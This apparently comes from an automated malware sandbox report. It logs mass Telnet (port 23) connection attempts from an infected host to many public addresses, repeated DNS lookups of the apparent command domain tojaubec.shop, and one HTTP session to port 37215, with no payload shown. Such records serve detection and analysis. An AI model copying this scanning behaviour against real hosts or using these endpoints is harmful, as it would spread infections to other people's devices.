Jan 5, 2025 14:27:01.012918949 CET	57214	23	192.168.2.13	36.39.94.226
Jan 5, 2025 14:27:01.012928009 CET	57214	23	192.168.2.13	58.236.218.205
Jan 5, 2025 14:27:01.012928963 CET	57214	23	192.168.2.13	51.8.48.123
Jan 5, 2025 14:27:01.012928963 CET	57214	23	192.168.2.13	24.206.117.131
Jan 5, 2025 14:27:01.012928963 CET	57214	23	192.168.2.13	126.238.64.104
Jan 5, 2025 14:27:01.012928963 CET	57214	23	192.168.2.13	209.235.24.137
Jan 5, 2025 14:27:01.012931108 CET	57214	23	192.168.2.13	219.180.33.59
Jan 5, 2025 14:27:01.012933969 CET	57214	23	192.168.2.13	193.79.239.253
Jan 5, 2025 14:27:01.012933969 CET	57214	23	192.168.2.13	162.122.75.10
Jan 5, 2025 14:27:01.012937069 CET	57214	23	192.168.2.13	94.228.127.121
Jan 5, 2025 14:27:01.012937069 CET	57214	23	192.168.2.13	211.47.105.69
Jan 5, 2025 14:27:01.012937069 CET	57214	23	192.168.2.13	205.176.156.87
Jan 5, 2025 14:27:01.012937069 CET	57214	23	192.168.2.13	13.50.236.132
Jan 5, 2025 14:27:01.012939930 CET	57214	23	192.168.2.13	206.14.224.155
Jan 5, 2025 14:27:01.012939930 CET	57214	23	192.168.2.13	38.189.162.209
Jan 5, 2025 14:27:01.012940884 CET	57214	23	192.168.2.13	81.116.5.88
Jan 5, 2025 14:27:01.012943029 CET	57214	23	192.168.2.13	113.22.166.115
Jan 5, 2025 14:27:01.012943029 CET	57214	23	192.168.2.13	201.93.160.137
Jan 5, 2025 14:27:01.012943029 CET	57214	23	192.168.2.13	209.77.43.194
Jan 5, 2025 14:27:01.012948036 CET	57214	23	192.168.2.13	120.226.7.59
Jan 5, 2025 14:27:01.012948036 CET	57214	23	192.168.2.13	75.134.142.254
Jan 5, 2025 14:27:01.012948990 CET	57214	23	192.168.2.13	39.133.62.65
Jan 5, 2025 14:27:01.012952089 CET	57214	23	192.168.2.13	124.66.47.47
Jan 5, 2025 14:27:01.012952089 CET	57214	23	192.168.2.13	220.38.37.208
Jan 5, 2025 14:27:01.012954950 CET	57214	23	192.168.2.13	93.70.5.250
Jan 5, 2025 14:27:01.012959957 CET	57214	23	192.168.2.13	70.211.145.111
Jan 5, 2025 14:27:01.012959957 CET	57214	23	192.168.2.13	152.174.114.187
Jan 5, 2025 14:27:01.012969017 CET	57214	23	192.168.2.13	38.39.76.195
Jan 5, 2025 14:27:01.012975931 CET	57214	23	192.168.2.13	92.40.126.29
Jan 5, 2025 14:27:01.012975931 CET	57214	23	192.168.2.13	199.252.131.251
Jan 5, 2025 14:27:01.012975931 CET	57214	23	192.168.2.13	62.56.35.60
Jan 5, 2025 14:27:01.012985945 CET	57214	23	192.168.2.13	181.223.255.108
Jan 5, 2025 14:27:01.012985945 CET	57214	23	192.168.2.13	112.21.12.174
Jan 5, 2025 14:27:01.012985945 CET	57214	23	192.168.2.13	196.135.218.94
Jan 5, 2025 14:27:01.012985945 CET	57214	23	192.168.2.13	202.105.246.184
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	4.179.11.167
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	108.9.165.83
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	36.126.76.25
Jan 5, 2025 14:27:01.012993097 CET	57214	23	192.168.2.13	162.153.40.164
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	169.108.236.94
Jan 5, 2025 14:27:01.012994051 CET	57214	23	192.168.2.13	201.26.174.159
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	14.235.231.87
Jan 5, 2025 14:27:01.012994051 CET	57214	23	192.168.2.13	137.120.149.20
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	12.197.143.89
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	159.240.216.201
Jan 5, 2025 14:27:01.012991905 CET	57214	23	192.168.2.13	90.220.234.28
Jan 5, 2025 14:27:01.013005972 CET	57214	23	192.168.2.13	31.185.222.205
Jan 5, 2025 14:27:01.013005972 CET	57214	23	192.168.2.13	4.86.112.87
Jan 5, 2025 14:27:01.013010025 CET	57214	23	192.168.2.13	57.90.145.161
Jan 5, 2025 14:27:01.013010025 CET	57214	23	192.168.2.13	96.40.131.202
Jan 5, 2025 14:27:01.013010025 CET	57214	23	192.168.2.13	209.153.172.199
Jan 5, 2025 14:27:01.013011932 CET	57214	23	192.168.2.13	74.168.157.178
Jan 5, 2025 14:27:01.013011932 CET	57214	23	192.168.2.13	34.225.104.34
Jan 5, 2025 14:27:01.013014078 CET	57214	23	192.168.2.13	52.53.100.136
Jan 5, 2025 14:27:01.013014078 CET	57214	23	192.168.2.13	197.19.252.159
Jan 5, 2025 14:27:01.013014078 CET	57214	23	192.168.2.13	206.246.71.203
Jan 5, 2025 14:27:01.013017893 CET	57214	23	192.168.2.13	202.73.234.120
Jan 5, 2025 14:27:01.013017893 CET	57214	23	192.168.2.13	51.16.213.21
Jan 5, 2025 14:27:01.013019085 CET	57214	23	192.168.2.13	100.42.26.139
Jan 5, 2025 14:27:01.013019085 CET	57214	23	192.168.2.13	107.213.158.185
Jan 5, 2025 14:27:01.013020039 CET	57214	23	192.168.2.13	168.219.131.194
Jan 5, 2025 14:27:01.013020039 CET	57214	23	192.168.2.13	65.197.155.153
Jan 5, 2025 14:27:01.013027906 CET	23	48544	24.180.180.61	192.168.2.13
Jan 5, 2025 14:27:01.013029099 CET	57214	23	192.168.2.13	172.79.73.198
Jan 5, 2025 14:27:01.013029099 CET	57214	23	192.168.2.13	158.180.33.31
Jan 5, 2025 14:27:01.013031006 CET	57214	23	192.168.2.13	136.174.157.77
Jan 5, 2025 14:27:01.013031960 CET	57214	23	192.168.2.13	163.53.13.84
Jan 5, 2025 14:27:01.013031006 CET	57214	23	192.168.2.13	94.170.207.69
Jan 5, 2025 14:27:01.013032913 CET	57214	23	192.168.2.13	144.3.142.124
Jan 5, 2025 14:27:01.013032913 CET	57214	23	192.168.2.13	184.36.73.223
Jan 5, 2025 14:27:01.013034105 CET	57214	23	192.168.2.13	154.48.125.22
Jan 5, 2025 14:27:01.013034105 CET	57214	23	192.168.2.13	131.169.128.213
Jan 5, 2025 14:27:01.013034105 CET	57214	23	192.168.2.13	66.214.59.26
Jan 5, 2025 14:27:01.013034105 CET	57214	23	192.168.2.13	66.8.181.35
Jan 5, 2025 14:27:01.013036013 CET	57214	23	192.168.2.13	121.46.74.180
Jan 5, 2025 14:27:01.013035059 CET	57214	23	192.168.2.13	19.176.222.255
Jan 5, 2025 14:27:01.013035059 CET	57214	23	192.168.2.13	34.153.13.79
Jan 5, 2025 14:27:01.013040066 CET	57214	23	192.168.2.13	1.249.218.198
Jan 5, 2025 14:27:01.013040066 CET	57214	23	192.168.2.13	221.30.64.68
Jan 5, 2025 14:27:01.013041019 CET	57214	23	192.168.2.13	20.166.253.227
Jan 5, 2025 14:27:01.013040066 CET	57214	23	192.168.2.13	79.98.53.153
Jan 5, 2025 14:27:01.013040066 CET	57214	23	192.168.2.13	134.184.94.104
Jan 5, 2025 14:27:01.013044119 CET	57214	23	192.168.2.13	78.248.179.0
Jan 5, 2025 14:27:01.013044119 CET	57214	23	192.168.2.13	48.30.132.38
Jan 5, 2025 14:27:01.013044119 CET	57214	23	192.168.2.13	166.145.144.214
Jan 5, 2025 14:27:01.013044119 CET	57214	23	192.168.2.13	208.62.161.37
Jan 5, 2025 14:27:01.013052940 CET	57214	23	192.168.2.13	140.105.158.135
Jan 5, 2025 14:27:01.013055086 CET	57214	23	192.168.2.13	218.53.80.92
Jan 5, 2025 14:27:01.013055086 CET	57214	23	192.168.2.13	117.12.196.155
Jan 5, 2025 14:27:01.013056040 CET	57214	23	192.168.2.13	162.232.10.247
Jan 5, 2025 14:27:01.013056040 CET	57214	23	192.168.2.13	49.165.139.4
Jan 5, 2025 14:27:01.013056040 CET	57214	23	192.168.2.13	87.48.211.98
Jan 5, 2025 14:27:01.013056993 CET	57214	23	192.168.2.13	31.31.102.66
Jan 5, 2025 14:27:01.013056993 CET	57214	23	192.168.2.13	90.106.121.4
Jan 5, 2025 14:27:01.013056993 CET	57214	23	192.168.2.13	4.170.101.126
Jan 5, 2025 14:27:01.013056993 CET	57214	23	192.168.2.13	223.35.197.110
Jan 5, 2025 14:27:01.013056993 CET	57214	23	192.168.2.13	217.200.171.197
Jan 5, 2025 14:27:01.013056040 CET	57214	23	192.168.2.13	92.201.81.48
Jan 5, 2025 14:27:01.013062000 CET	57214	23	192.168.2.13	95.28.225.24
Jan 5, 2025 14:27:01.013056040 CET	23	37106	199.93.214.171	192.168.2.13
Jan 5, 2025 14:27:01.013067961 CET	57214	23	192.168.2.13	116.177.51.108
Jan 5, 2025 14:27:01.013068914 CET	57214	23	192.168.2.13	62.129.109.183
Jan 5, 2025 14:27:01.013067007 CET	57214	23	192.168.2.13	100.247.99.28
Jan 5, 2025 14:27:01.013068914 CET	57214	23	192.168.2.13	158.149.115.195
Jan 5, 2025 14:27:01.013077021 CET	57214	23	192.168.2.13	136.132.226.147
Jan 5, 2025 14:27:01.013077021 CET	57214	23	192.168.2.13	88.0.39.173
Jan 5, 2025 14:27:01.013084888 CET	48544	23	192.168.2.13	24.180.180.61
Jan 5, 2025 14:27:01.013084888 CET	57214	23	192.168.2.13	99.166.82.63
Jan 5, 2025 14:27:01.013091087 CET	57214	23	192.168.2.13	37.71.225.32
Jan 5, 2025 14:27:01.013091087 CET	57214	23	192.168.2.13	93.156.96.127
Jan 5, 2025 14:27:01.013092995 CET	57214	23	192.168.2.13	39.65.20.25
Jan 5, 2025 14:27:01.013093948 CET	57214	23	192.168.2.13	218.130.241.182
Jan 5, 2025 14:27:01.013091087 CET	57214	23	192.168.2.13	175.255.255.140
Jan 5, 2025 14:27:01.013091087 CET	57214	23	192.168.2.13	200.179.108.20
Jan 5, 2025 14:27:01.013097048 CET	23	52748	83.240.185.122	192.168.2.13
Jan 5, 2025 14:27:01.013101101 CET	57214	23	192.168.2.13	25.18.56.179
Jan 5, 2025 14:27:01.013109922 CET	57214	23	192.168.2.13	190.241.129.63
Jan 5, 2025 14:27:01.013109922 CET	57214	23	192.168.2.13	206.16.239.36
Jan 5, 2025 14:27:01.013112068 CET	57214	23	192.168.2.13	104.97.212.104
Jan 5, 2025 14:27:01.013113976 CET	57214	23	192.168.2.13	44.246.37.12
Jan 5, 2025 14:27:01.013119936 CET	57214	23	192.168.2.13	58.8.250.192
Jan 5, 2025 14:27:01.013120890 CET	57214	23	192.168.2.13	117.149.18.72
Jan 5, 2025 14:27:01.013120890 CET	57214	23	192.168.2.13	147.182.145.245
Jan 5, 2025 14:27:01.013120890 CET	57214	23	192.168.2.13	113.114.239.35
Jan 5, 2025 14:27:01.013120890 CET	57214	23	192.168.2.13	156.21.70.184
Jan 5, 2025 14:27:01.013123989 CET	57214	23	192.168.2.13	110.22.166.188
Jan 5, 2025 14:27:01.013123989 CET	57214	23	192.168.2.13	213.34.217.3
Jan 5, 2025 14:27:01.013123989 CET	57214	23	192.168.2.13	147.87.91.68
Jan 5, 2025 14:27:01.013124943 CET	23	48088	186.86.12.61	192.168.2.13
Jan 5, 2025 14:27:01.013123989 CET	57214	23	192.168.2.13	78.58.14.173
Jan 5, 2025 14:27:01.013128996 CET	57214	23	192.168.2.13	65.226.152.40
Jan 5, 2025 14:27:01.013138056 CET	57214	23	192.168.2.13	90.133.33.175
Jan 5, 2025 14:27:01.013138056 CET	57214	23	192.168.2.13	17.112.230.94
Jan 5, 2025 14:27:01.013140917 CET	57214	23	192.168.2.13	128.237.136.176
Jan 5, 2025 14:27:01.013140917 CET	37106	23	192.168.2.13	199.93.214.171
Jan 5, 2025 14:27:01.013140917 CET	57214	23	192.168.2.13	167.190.1.87
Jan 5, 2025 14:27:01.013140917 CET	52748	23	192.168.2.13	83.240.185.122
Jan 5, 2025 14:27:01.013144016 CET	57214	23	192.168.2.13	65.87.253.150
Jan 5, 2025 14:27:01.013144016 CET	57214	23	192.168.2.13	19.1.225.230
Jan 5, 2025 14:27:01.013143063 CET	57214	23	192.168.2.13	206.231.254.137
Jan 5, 2025 14:27:01.013143063 CET	57214	23	192.168.2.13	105.125.126.230
Jan 5, 2025 14:27:01.013143063 CET	57214	23	192.168.2.13	123.168.110.159
Jan 5, 2025 14:27:01.013144970 CET	57214	23	192.168.2.13	39.50.126.124
Jan 5, 2025 14:27:01.013147116 CET	57214	23	192.168.2.13	75.244.4.74
Jan 5, 2025 14:27:01.013147116 CET	57214	23	192.168.2.13	196.111.159.207
Jan 5, 2025 14:27:01.013147116 CET	57214	23	192.168.2.13	27.39.230.181
Jan 5, 2025 14:27:01.013147116 CET	57214	23	192.168.2.13	115.170.224.66

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 5, 2025 14:26:50.621057034 CET	192.168.2.13	8.8.8.8	0x2a79	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:26:53.111454010 CET	192.168.2.13	8.8.8.8	0xe2a8	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:26:55.576733112 CET	192.168.2.13	8.8.8.8	0x94e0	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:26:58.069267988 CET	192.168.2.13	8.8.8.8	0xb4d3	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:00.550484896 CET	192.168.2.13	8.8.8.8	0x7592	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:03.051767111 CET	192.168.2.13	8.8.8.8	0x6c8e	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:05.535696983 CET	192.168.2.13	8.8.8.8	0x9f11	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:08.020880938 CET	192.168.2.13	8.8.8.8	0xdee0	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:10.499483109 CET	192.168.2.13	8.8.8.8	0xe208	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:12.971299887 CET	192.168.2.13	8.8.8.8	0x3446	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:15.462896109 CET	192.168.2.13	8.8.8.8	0xf165	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:17.939127922 CET	192.168.2.13	8.8.8.8	0xe590	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:21.441134930 CET	192.168.2.13	8.8.8.8	0x1214	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:23.925940037 CET	192.168.2.13	8.8.8.8	0x4afa	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:26.406819105 CET	192.168.2.13	8.8.8.8	0x5cae	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:28.873254061 CET	192.168.2.13	8.8.8.8	0x9e45	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:31.343575954 CET	192.168.2.13	8.8.8.8	0xfebe	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:33.811070919 CET	192.168.2.13	8.8.8.8	0x1bb1	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:36.280057907 CET	192.168.2.13	8.8.8.8	0x8db0	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:41.285181999 CET	192.168.2.13	8.8.8.8	0x8db0	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:43.751830101 CET	192.168.2.13	8.8.8.8	0xdcf0	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:46.218914032 CET	192.168.2.13	8.8.8.8	0xed12	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:48.706856966 CET	192.168.2.13	8.8.8.8	0xecb6	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:51.172398090 CET	192.168.2.13	8.8.8.8	0x223c	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:53.654901981 CET	192.168.2.13	8.8.8.8	0xa04d	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:56.123527050 CET	192.168.2.13	8.8.8.8	0x6cf9	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:58.592350960 CET	192.168.2.13	8.8.8.8	0x74df	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:02.091994047 CET	192.168.2.13	8.8.8.8	0xfd4b	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:04.560355902 CET	192.168.2.13	8.8.8.8	0xb179	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:07.032119989 CET	192.168.2.13	8.8.8.8	0x640	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:09.500273943 CET	192.168.2.13	8.8.8.8	0x1b57	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:11.967468977 CET	192.168.2.13	8.8.8.8	0x41d6	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:14.456800938 CET	192.168.2.13	8.8.8.8	0x32ca	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:16.920887947 CET	192.168.2.13	8.8.8.8	0x4cf6	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:19.373982906 CET	192.168.2.13	8.8.8.8	0xd604	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:21.877882957 CET	192.168.2.13	8.8.8.8	0xfc96	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:24.343070984 CET	192.168.2.13	8.8.8.8	0xcca	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:26.812863111 CET	192.168.2.13	8.8.8.8	0xdfbb	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:29.279118061 CET	192.168.2.13	8.8.8.8	0xf84e	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:31.751241922 CET	192.168.2.13	8.8.8.8	0x9512	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:34.218326092 CET	192.168.2.13	8.8.8.8	0xb1c5	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:36.705589056 CET	192.168.2.13	8.8.8.8	0x2a21	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:39.172432899 CET	192.168.2.13	8.8.8.8	0x2d21	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:41.639377117 CET	192.168.2.13	8.8.8.8	0x6071	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:44.108917952 CET	192.168.2.13	8.8.8.8	0xd79f	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:46.578576088 CET	192.168.2.13	8.8.8.8	0xe7ad	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:49.096546888 CET	192.168.2.13	8.8.8.8	0x9678	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:51.686428070 CET	192.168.2.13	8.8.8.8	0xbf46	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:54.193041086 CET	192.168.2.13	8.8.8.8	0x448a	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 14:26:50.634193897 CET	8.8.8.8	192.168.2.13	0x2a79	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:26:53.117734909 CET	8.8.8.8	192.168.2.13	0xe2a8	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:26:55.583076000 CET	8.8.8.8	192.168.2.13	0x94e0	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:26:58.076792002 CET	8.8.8.8	192.168.2.13	0xb4d3	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:00.573767900 CET	8.8.8.8	192.168.2.13	0x7592	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:03.058633089 CET	8.8.8.8	192.168.2.13	0x6c8e	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:05.542206049 CET	8.8.8.8	192.168.2.13	0x9f11	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:08.027141094 CET	8.8.8.8	192.168.2.13	0xdee0	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:10.506900072 CET	8.8.8.8	192.168.2.13	0xe208	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:12.978333950 CET	8.8.8.8	192.168.2.13	0x3446	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:15.469501019 CET	8.8.8.8	192.168.2.13	0xf165	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:17.947079897 CET	8.8.8.8	192.168.2.13	0xe590	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:21.448482037 CET	8.8.8.8	192.168.2.13	0x1214	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:23.932337046 CET	8.8.8.8	192.168.2.13	0x4afa	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:26.413300037 CET	8.8.8.8	192.168.2.13	0x5cae	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:28.880131006 CET	8.8.8.8	192.168.2.13	0x9e45	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:31.350092888 CET	8.8.8.8	192.168.2.13	0xfebe	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:33.818185091 CET	8.8.8.8	192.168.2.13	0x1bb1	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:41.291893959 CET	8.8.8.8	192.168.2.13	0x8db0	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:43.758137941 CET	8.8.8.8	192.168.2.13	0xdcf0	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:46.226046085 CET	8.8.8.8	192.168.2.13	0xed12	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:48.713737011 CET	8.8.8.8	192.168.2.13	0xecb6	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:51.178752899 CET	8.8.8.8	192.168.2.13	0x223c	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:53.661304951 CET	8.8.8.8	192.168.2.13	0xa04d	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:56.143132925 CET	8.8.8.8	192.168.2.13	0x6cf9	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:27:58.599672079 CET	8.8.8.8	192.168.2.13	0x74df	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:02.098793983 CET	8.8.8.8	192.168.2.13	0xfd4b	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:04.567790031 CET	8.8.8.8	192.168.2.13	0xb179	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:07.038409948 CET	8.8.8.8	192.168.2.13	0x640	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:09.506731033 CET	8.8.8.8	192.168.2.13	0x1b57	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:11.974442959 CET	8.8.8.8	192.168.2.13	0x41d6	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:14.463221073 CET	8.8.8.8	192.168.2.13	0x32ca	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:16.927198887 CET	8.8.8.8	192.168.2.13	0x4cf6	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:19.380676031 CET	8.8.8.8	192.168.2.13	0xd604	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:21.884721994 CET	8.8.8.8	192.168.2.13	0xfc96	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:24.349497080 CET	8.8.8.8	192.168.2.13	0xcca	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:26.819766998 CET	8.8.8.8	192.168.2.13	0xdfbb	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:29.286063910 CET	8.8.8.8	192.168.2.13	0xf84e	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:31.758183956 CET	8.8.8.8	192.168.2.13	0x9512	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:34.224699020 CET	8.8.8.8	192.168.2.13	0xb1c5	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:36.712408066 CET	8.8.8.8	192.168.2.13	0x2a21	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:39.178750992 CET	8.8.8.8	192.168.2.13	0x2d21	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:41.645785093 CET	8.8.8.8	192.168.2.13	0x6071	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:44.115380049 CET	8.8.8.8	192.168.2.13	0xd79f	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:46.584667921 CET	8.8.8.8	192.168.2.13	0xe7ad	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:49.220176935 CET	8.8.8.8	192.168.2.13	0x9678	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:51.692846060 CET	8.8.8.8	192.168.2.13	0xbf46	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:28:54.200431108 CET	8.8.8.8	192.168.2.13	0x448a	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	53872	197.7.160.89	37215

Timestamp	Bytes transferred	Direction	Data
